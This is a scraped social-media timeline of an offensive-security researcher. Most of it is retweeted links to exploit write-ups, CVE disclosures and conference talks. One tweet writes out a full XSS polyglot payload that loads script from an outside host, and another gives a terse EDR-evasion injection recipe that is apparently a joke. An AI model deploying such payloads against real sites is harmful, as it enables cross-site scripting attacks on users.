soh0ro0t

offensive research, vulnerability mining, focus on terminal security
wanna be an independent hacker

[soh0ro0t @TheBeeManal]

@yihong0618 啊...头皮发麻...竟然还很好听

[soh0ro0t @TheBeeManal]

@banthisguy9349 great job

[Brandon Falk @gamozolabs]

Are you scared of ptrace()? Come write a high-performance debugger for Linux which is designed for low-overhead debugging of many-threaded and multi-process applications https://t.co/mFzTftlh1g

[Sachin Pandey @sachin_pandey98]

Blind XSS and Time-Based SQL Injection to Admin Panel Control and Database Takeover by Cyberali https://t.co/Kai831Lk3t

[payloadartist @payloadartist]

RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass

https://t.co/qP9iii0JIp

by @pmnh_

#cybersecurity #infosec #bugbounty #cybersecuritytips #bugbountytips

[5pider @C5pider]

I found a new novel self injection technique that most EDRs are not detecting. go use this technique in your next red team engagement.

The technique is:
VirtualAlloc + CreateThread + ExitProcess

ExitProcess is the most important part here since it hides the process from EDRs

[0xor0ne @0xor0ne]

CVE-2020–15509: Nordic Semiconductor Android BLE Library encryption stripping
Writeup by @fand0mas

https://t.co/5YYQIHTsBv

#iot #bluetooth #nordic #infosec #cybersecurity

[0xor0ne @0xor0ne]

Emulating a 32-bit ARM shellcode with radare2 (credits John deGruyter)

https://t.co/ZqZF0hAxqy

#radare2 #emulation #infosec #cybersecurity #shellcode

[raptor @0xdea]

#Pwn2own is a competition where #hackers try to execute arbitrary code on selected devices. This blogpost will describe two #vulnerabilities found in the #Netgear RAX30 router […] both were patched the day before the event.

// by @Synacktiv

https://t.co/Nn75CWT6yF

[Florian Hansemann @CyberWarship]

"SSH-PuTTY-login-bruteforcer: Turn PuTTY into an SSH login bruteforcing tool."

#redteam #infosec #pentest
https://t.co/KC5yeWX8nL

[0xor0ne @0xor0ne]

Arbitrary read/write technique that can be used to achieve privilege escalation in a variety of Linux kernel builds by @InterruptLabs

https://t.co/ebxC9yioIP

#Linux #kernel #infosec #cybersecurity #exploit

[ϻг_ϻε @steventseeley]

My #blackhatusa talk is available. If your into hardcore Java exploitation then I highly recommend checking it out! https://t.co/czxGKWJRZ9

[Jacob Baines @Junior_Baines]

Recently, I was developing RCE exploits for Xiongmai NVR. I focused on 7 issues published between 2017-2022. Based on that, I put together a write-up about these devices, writing exploits for them, and catching some exploitation in-the-wild. https://t.co/eOqAlpbFXh

[KT @koczkatamas]

We've disclosed two remotely exploitable Linux kernel bugs in the Bluetooth stack: one infoleak and one UAF. More information here: https://t.co/QT5BbX4jNj and here: https://t.co/dd56s7UqTH (cc @theflow0)

[xhzeem @xhzeem]

2022 Best XSS polyglot ⚠️

'"onclick=(co\u006efirm)?.`0`><sVg/i="${{7*7}}"oNload=" 0>(pro\u006dpt)`1`"></svG/</sTyle/</scripT/</textArea/</iFrame/</noScript/</seLect/--><h1><iMg/srC/onerror=alert`2`>%22%3E%3CSvg/onload=confirm`3`//<Script/src=//xhzeem.xSs.ht></scripT>

[soh0ro0t @TheBeeManal]

fabilious tool :)

[Ahmet Bilal Can 🦔 @0xabc0]

https://t.co/klEWMiZtmY
is very powerful tool for emulating android native libraries. I used it to get payload from android malware which uses native library to decrypt its payload. It has different hooking frameworks, unicorn support and much more. I have a new toy now 😈

[Ian Beer @i41nbeer]

Mind the gap: https://t.co/sq6tw15Rmg Part of project zero's remit is to drive structural improvements across the ecosystem.

[soh0ro0t @TheBeeManal]

@mariotaku 两个显示器否都什么型号的啊 也想入手

[Binni Shah @binitamshah]

Exploiting CVE-2022-22057, a use-after-free in the Qualcomm gpu kernel driver, to gain root and disable SELinux : https://t.co/Qs6dIoOETS credits @mmolgtm

Ref : KSMA: Breaking Android kernel isolationandRooting with ARM MMU features : https://t.co/yaSGMJVq7q (Slides)

[flanker017 @flanker_hqd]

Glad to be accepted on BlackHat USA 2022 on automatic android bug hunting. https://t.co/ykjNhyTpRZ